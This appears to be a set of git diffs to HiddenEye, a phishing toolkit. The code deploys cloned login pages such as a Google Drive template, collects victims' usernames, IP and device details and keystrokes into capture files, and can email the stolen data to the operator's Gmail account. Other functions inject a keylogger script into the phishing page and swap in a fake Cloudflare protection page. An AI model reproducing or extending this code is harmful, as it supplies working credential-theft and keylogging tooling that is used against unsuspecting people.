webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"])
print(localization.lang_start_phishing_page["gdrive_suggestion"])
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
else:
run_command('clear')
run_command("clear")
print("Please choose a valid option")
time.sleep(1)
start_main_menu()
def enter_custom_redirecting_url(): # Question where user can input custom web-link
run_command('clear')
def enter_custom_redirecting_url(
): # Question where user can input custom web-link
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"])
if 'http://' in custom or 'https://' in custom:
print(localization.
lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
print(localization.
lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
custom = input(
localization.lang_enter_custom_redirecting_url["redirect_here"])
if "http://" in custom or "https://" in custom:
pass
else:
custom = 'http://' + custom
custom = "http://" + custom
if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection.
with open('Server/www/js/location.js') as f:
# For Location (gdrive) Template Redirection.
if path.exists("Server/www/js/location.js"):
with open("Server/www/js/location.js") as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/js/location.js', 'w')
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/js/location.js", "w")
f.write(c)
f.close()
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
if path.exists("Server/www/post.php") and path.exists(
"Server/www/login.php"):
with open("Server/www/login.php") as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/login.php", "w")
f.write(c)
f.close()
with open('Server/www/post.php') as f:
with open("Server/www/post.php") as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/post.php', 'w')
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/post.php", "w")
f.write(c)
f.close()
else:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
try:
with open("Server/www/login.php") as f:
read_data = f.read()
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/login.php", "w")
f.write(c)
f.close()
except FileNotFoundError:
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(
"[^] ERROR: Please make sure your folder contains a valid login.php file."
)
exit()

View File

@ -4,180 +4,222 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket
import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import getuid
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import platform
from Defs.ImportManager.unsorted_will_be_replaced import requests
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import stat
from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command
default_palette = theme.default_palette
def license_handler():
""" Checks if eula.txt exists, creates one if it doesn't. Checks if "eula = True" is inside.
Returns:
boolean: Returns True if "eula = True" is inside eula.txt, False by default.
"""
eula = pathlib_Path("eula.txt")
if eula.exists():
eula = eula.open('r')
with open('eula.txt', 'r') as f:
if 'eula = True' in f.read():
print('Found your license agreement, proceeding...')
with open("eula.txt", "r") as f:
if "eula = True" in f.read():
print("Found your license agreement, proceeding...")
return True
else:
print('Please read and accept license.')
print("Please read and accept license.")
return False
else:
eula.touch(mode=0o777, exist_ok=True)
eula = open('eula.txt', 'w')
eula = open("eula.txt", "w")
eula.write(localization.write_eula + "eula = False")
eula.close()
print('Please accept EULA.')
print("Please accept EULA.")
return False
def exit_message(port = 80): # Message when HiddenEye exit
def exit_message(port=80): # Message when HiddenEye exit
"""Displays preconfigured message when HiddenEye execution ends or user tries to leave app.
Args: port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides
to restart app again. Defaults to 80.
Returns:
method: If no option is selected, exit message returns to self and gets shown again.
"""
choice = input(localization.lang_exit_message["choice"])
choice.lower()
if choice == 'r':
run_command(['sudo', 'python3', 'HiddenEye.py'])
elif choice == 'm':
if choice == "r":
run_command(["sudo", "python3", "HiddenEye.py"])
elif choice == "m":
email_prompt.captured_data_email_confirmation(port)
elif choice == 's':
elif choice == "s":
server_runner.server_selection(port)
elif choice == 'x':
run_command('clear')
elif choice == "x":
run_command("clear")
print(global_localization.hidden_eye_logo)
print(' ' + global_localization.by_darksec)
print(' ' + global_localization.official_website_link)
print(" " + global_localization.by_darksec)
print(" " +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"])
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
print(
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"])
else:
run_command('clear')
run_command("clear")
return exit_message(port)
def terms_of_service_message(): # menu where user select what they wanna use
# Terms Of Service
# print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
#if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y':
# run_command('clear')
# print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4]))
# exit()
def terms_of_service_message():
"""Requests user to provide agreement to license provided.
Returns:
boolean: Always returns True, if user doesn't accept agreement - proceeds to exit()
"""
agreement = license_handler()
if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"])
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.lang_terms_of_service_message["do_you_accept_license"])
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
print(
localization.
lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.
lang_terms_of_service_message["do_you_accept_license"])
print(localization.
lang_terms_of_service_message["enter_this_to_confirm"])
agreement = input(global_localization.input_line)
if localization.text_to_confirm_license not in agreement:
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
print(localization.
lang_terms_of_service_message["you_are_not_allowed"])
exit()
else:
eula = open('eula.txt', 'w')
eula.write(localization.write_eula +"eula = True")
eula = open("eula.txt", "w")
eula.write(localization.write_eula + "eula = True")
eula.close()
return True
else:
return True
def module_loading_message(module): # This one just show text..
def module_loading_message(option_name): # This one just show text..
"""Prints "Select any mode" message. """
print(option_name + localization.lang_module_loading_message["is_loaded"])
print(localization.lang_module_loading_message["select_any_mode"])
def credentials_collector(port):
def credentials_collector():
"""Collects, writes and returns credentials and additional info gathered from target."""
print(localization.lang_credentials_collector["waiting_for_interaction"])
while True:
with open('Server/www/usernames.txt') as creds:
with open("Server/www/usernames.txt") as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
#run_command("touch Server/CapturedData/usernames.txt
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
captured_usernames = open('Server/CapturedData/usernames.txt', 'a')
new_usernames = open('Server/www/usernames.txt')
log_writer(localization.
lang_credentials_collector["credentials_found"] +
"{0}{2}{1}".format(default_palette[2],
default_palette[3], lines))
pathlib_Path("Server/CapturedData/usernames.txt").touch(
mode=0o777, exist_ok=True)
captured_usernames = open("Server/CapturedData/usernames.txt",
"a")
new_usernames = open("Server/www/usernames.txt")
captured_usernames.write(new_usernames.read())
new_usernames.close()
captured_usernames.close()
# && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
copyfile(
"Server/CapturedData/usernames.txt",
"Defs/FeatureManager/EmailManager/attachments/usernames.txt",
)
# && echo -n '' > Server/www/usernames.txt")
new_usernames = open('Server/www/usernames.txt', 'w')
new_usernames.write('')
new_usernames = open("Server/www/usernames.txt", "w")
new_usernames.write("")
new_usernames.close()
with open('Server/www/ip.txt') as creds:
with open("Server/www/ip.txt") as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
#run_command('touch Server/CapturedData/ip.txt
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
captured_ips = open('Server/CapturedData/ip.txt', 'a')
new_ips = open('Server/www/ip.txt')
log_writer(localization.
lang_credentials_collector["device_details_found"] +
"{0}{2}{1}".format(default_palette[2],
default_palette[3], lines))
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
exist_ok=True)
captured_ips = open("Server/CapturedData/ip.txt", "a")
new_ips = open("Server/www/ip.txt")
captured_ips.write(new_ips.read())
new_ips.close()
captured_ips.close()
# && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
# && rm -rf Server/www/ip.txt
new_ips = open('Server/www/ip.txt', 'w')
# && touch Server/www/ip.txt')
new_ips.write('')
copyfile(
"Server/CapturedData/ip.txt",
"Defs/FeatureManager/EmailManager/attachments/ip.txt",
)
new_ips = open("Server/www/ip.txt", "w")
new_ips.write("")
new_ips.close()
creds.close()
with open('Server/www/KeyloggerData.txt') as creds:
with open("Server/www/KeyloggerData.txt") as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log_writer(global_localization.line_of_dots)
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
#run_command('touch Server/CapturedData/KeyloggerData.txt
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a')
new_keys = open('Server/www/KeyloggerData.txt')
log_writer(localization.
lang_credentials_collector["getting_pressed_keys"] +
"{0}{2}{1}".format(default_palette[2],
default_palette[3], lines))
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
mode=0o777, exist_ok=True)
captured_keys = open("Server/CapturedData/KeyloggerData.txt",
"a")
new_keys = open("Server/www/KeyloggerData.txt")
captured_keys.write(new_keys.read())
new_keys.close()
captured_keys.close()
# && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
# && rm -rf Server/www/KeyloggerData.txt
new_keys = open('Server/www/KeyloggerData.txt', 'w')
# && touch Server/www/KeyloggerData.txt')
new_keys.write('')
copyfile(
"Server/CapturedData/KeyloggerData.txt",
"Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt",
)
new_keys = open("Server/www/KeyloggerData.txt", "w")
new_keys.write("")
new_keys.close()
log_writer(global_localization.line_of_dots)
creds.close()
def log_writer(ctx): # Writing log
logFile = open("log.txt", "w")
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
Args:
ctx ([type]): [description]
"""
log_file = open("log.txt", "w")
log_file.write(
ctx.replace(default_palette[0], "").replace(
default_palette[1], "").replace(default_palette[2], "").replace(
default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx)
def port_selector(): # Question where user must select port
run_command('clear')
#print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
# )
def port_selector(): # Requests port input from user
"""Asks user to input number between 1 and 65535.
Returns:
string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again.
"""
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
@ -188,54 +230,99 @@ def port_selector(): # Question where user must select port
choice = input(global_localization.input_line)
try:
if int(choice) > 65535 or int(choice) < 1:
return selectPort()
return port_selector()
else:
return choice
except:
return port_selector()
def remove_readonly(func, path, _):
"Clear the readonly bit"
chmod(path, stat.S_IWRITE)
"""Removes read-only state of file (IDK why it exists but it does already, so...)
Args:
func ([type]): [description]
path ([type]): [description]
_ ([type]): [description]
"""
chmod(path, mode=stat.S_IWRITE)
func(path)
def global_message():
"""Sends default HiddenEye header message. (Logo, website link, etc.)"""
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
def verify_connection(host='https://dark-sec-official.com'): # Connection check
run_command('clear')
def verify_connection(
host="https://dark-sec-official.com"): # Connection check
run_command("clear")
try:
req = requests.get(host, timeout=25)
if req.status_code == 200:
print(localization.lang_verify_connection["connected"])
pass
except:
print(localization.lang_verify_connection["disconnected"])
except ConnectionError:
print(global_localization.hidden_eye_logo)
print(localization.lang_verify_connection["disconnected"])
print(localization.lang_verify_connection["verify_your_connection"])
exit()
print(localization.lang_verify_connection["continue_warning"])
print(localization.lang_verify_connection["continue_confirmation"])
internet_choice = input(global_localization.input_line).lower()
if internet_choice == "y":
pass
elif internet_choice == "n":
run_command("clear")
print(global_localization.hidden_eye_logo)
print(" " +
global_localization.by_darksec)
print(" " +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"])
print(localization.
lang_exit_message["make_your_pull_request_or_issue"])
print(
localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"])
exit()
else:
verify_connection()
def check_permissions():
if platform_os() != "Windows":
if check_platform("system") == "Linux":
if getuid() == 0:
print(localization.lang_check_permissions["permissions_granted"])
else:
print(localization.lang_check_permissions["permissions_denied"])
exit()
else:
print(localization.lang_check_permissions["windows_warning"])
exit()
def check_php():
try:
try_to_run_command(['php', '-v'])
try_to_run_command(["php", "-v"])
print(localization.lang_check_php["found"])
except:
except ModuleNotFoundError:
print(localization.lang_check_php["not-found"])
exit()
def check_platform(required_data: str):
""" Checks system for specific platform related data and returns requested value.
:param required_data: accepts "system" or "architecture"
:type required_data: requires string input
:return: returns data specified as required_data, Returns all if required_data isn't specified """
system = platform.system()
architecture = platform.machine()
if required_data == "system":
return system
elif required_data == "architecture":
return architecture
else:
return "System: {0}, Architecture: {1}".format(system, architecture)

View File

@ -4,97 +4,96 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import base64
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import getpass
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import system
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette
def captured_data_email_prompt():
run_command('clear')
print('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print(
"-------------------------------\n{0}[ PROMPT: NEED CAPTURED DATA TO EMAIL ? ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}!{0}]{1}No Need To Configure, If you have Already Done. ".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}*{0}]{0}DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE -{1}(Y/N)".format(default_palette[0], default_palette[4]))
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
if choice == 'Y':
print("\n{0}[{1}!{0}] BEFORE STARTING MAKE SURE THESE THINGS: \n\n{0}[{1}+{0}] {1}YOU HAVE CORRECT GMAIL USERNAME & PASSWORD\n{0}[{1}+{0}] {1}YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT\n{0}[{1}+{0}] {1}YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n\n".format(default_palette[0], default_palette[4]))
input('[.] Press Enter To Start Configuring Gmail Credential File...')
captured_data_email_configuration_prompt()
elif choice == 'N':
pass
else:
print('[^] ERROR: Please choose correct option to continue...')
wait(1)
captured_data_email_prompt()
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
# Ask user to start sending credentials to recipient Email Address.
def captured_data_email_confirmation(port):
import Defs.ActionManager.simple_informant as simple_informant
choice = input(
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
if choice == 'Y' or choice == 'y':
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py') == True:
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}"
.format(default_palette[0], default_palette[4],
default_palette[2])).upper()
if choice == "Y" or choice == "y":
if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
else:
print(
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
"[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
)
wait(2)
simple_informant.exit_message(port)
elif choice == 'N' or choice == 'n':
elif choice == "N" or choice == "n":
simple_informant.exit_message(port)
else:
system('clear')
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], default_palette[2]))
system("clear")
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
default_palette[0], default_palette[4], default_palette[2]))
wait(1)
system('clear')
system("clear")
return captured_data_email_confirmation(port)
def captured_data_email_configuration_prompt():
run_command('clear')
print('''{1}
run_command("clear")
print("""{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
#run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py')
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
default_palette[2]))
print(
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
.format(default_palette[0], default_palette[4]))
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
copyfile(
"Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
"Defs/FeatureManager/EmailManager/emailconfig.py",
)
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
default_palette[0], default_palette[4]))
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read()
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c)
f.close()
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
print("{0}[.] {1}Email Address Added To config File. !\n".format(
default_palette[0], default_palette[4]))
GMAILPASSWORD = getpass.getpass(
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
default_palette[0], default_palette[4]))
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read()
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c)
f.close()
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
RECIPIENTEMAIL = input(
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
default_palette[0], default_palette[4]))
RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
default_palette[0], default_palette[4]))
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read()
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c)
f.close()
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
format(default_palette[0], default_palette[4]))
print(
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(default_palette[0], default_palette[4]))
"\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
.format(default_palette[0], default_palette[4]))

View File

@ -0,0 +1 @@

View File

@ -4,44 +4,30 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod
import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import replace
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette
def add_cloudflare_prompt():
run_command('clear')
print('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print("-------------------------------\n{0}[ CLOUDFARE PROTECTION PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A CLOUDFARE PROTECTION FAKE PAGE -{1}(Y/N)".format(default_palette[0], default_palette[4]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])).upper()
if choice == 'Y':
add_cloudfare()
else:
wait(1)
def add_cloudfare():
#run_command('mv Server/www/index.* Server/www/home.php &
# run_command('mv Server/www/index.* Server/www/home.php &
# & cp WebPages/cloudfare.html Server/www/index.html')
chmod('Server', 0o777)
chmod('Server/www', 0o777)
chmod("Server", 0o777)
chmod("Server/www", 0o777)
try:
replace('Server/www/index.php', 'Server/www/home.php')
replace("Server/www/index.php", "Server/www/home.php")
except:
replace('Server/www/index.html', 'Server/www/home.php')
replace("Server/www/index.html", "Server/www/home.php")
else:
print('Unable to find index file, skipping...')
print("Unable to find index file, skipping...")
return
copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
copyfile("WebPages/cloudflare.html", "Server/www/index.html")
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
default_palette[0], default_palette[4]))
wait(1)

View File

@ -0,0 +1,44 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from time import sleep
import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.FeatureManager.keylogger as keylogger
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import run_command
default_palette = theme.default_palette
def feature_prompt():
run_command("clear")
print(global_localization.small_logo)
print(feature_localization.feature_prompt["feature_alert"])
print(feature_localization.feature_prompt["keylogger"])
print(feature_localization.feature_prompt["cloudfare"])
print(feature_localization.feature_prompt["email"])
print(feature_localization.feature_prompt["none"])
print(feature_localization.feature_prompt["example"])
option = input(global_localization.input_line).lower()
letters = ["a", "b", "c"]
for x in option:
if x in letters:
if "a" in x:
keylogger.add_keylogger()
elif "b" in x:
cloudflare.add_cloudfare()
elif "c" in x:
email_prompt.captured_data_email_configuration_prompt()
else:
print(global_localization.invalid_option)
sleep(3)
feature_prompt()

View File

@ -4,51 +4,34 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path
import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette
def add_keylogger_prompt():
run_command('clear')
print('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}!{0}]{1}ATTENTION: Adding Keylogger Mostly Kills the Tunnel Connection.\n".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE-{1}(Y/N)".format(default_palette[0], default_palette[4]))
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
if choice == 'Y':
add_keylogger()
else:
wait(1)
def add_keylogger():
if path.exists('Server/www/index.html'):
with open('Server/www/index.html') as f:
if path.exists("Server/www/index.html"):
with open("Server/www/index.html") as f:
read_data = f.read()
c = read_data.replace(
'</title>', '</title><script src="keylogger.js"></script>')
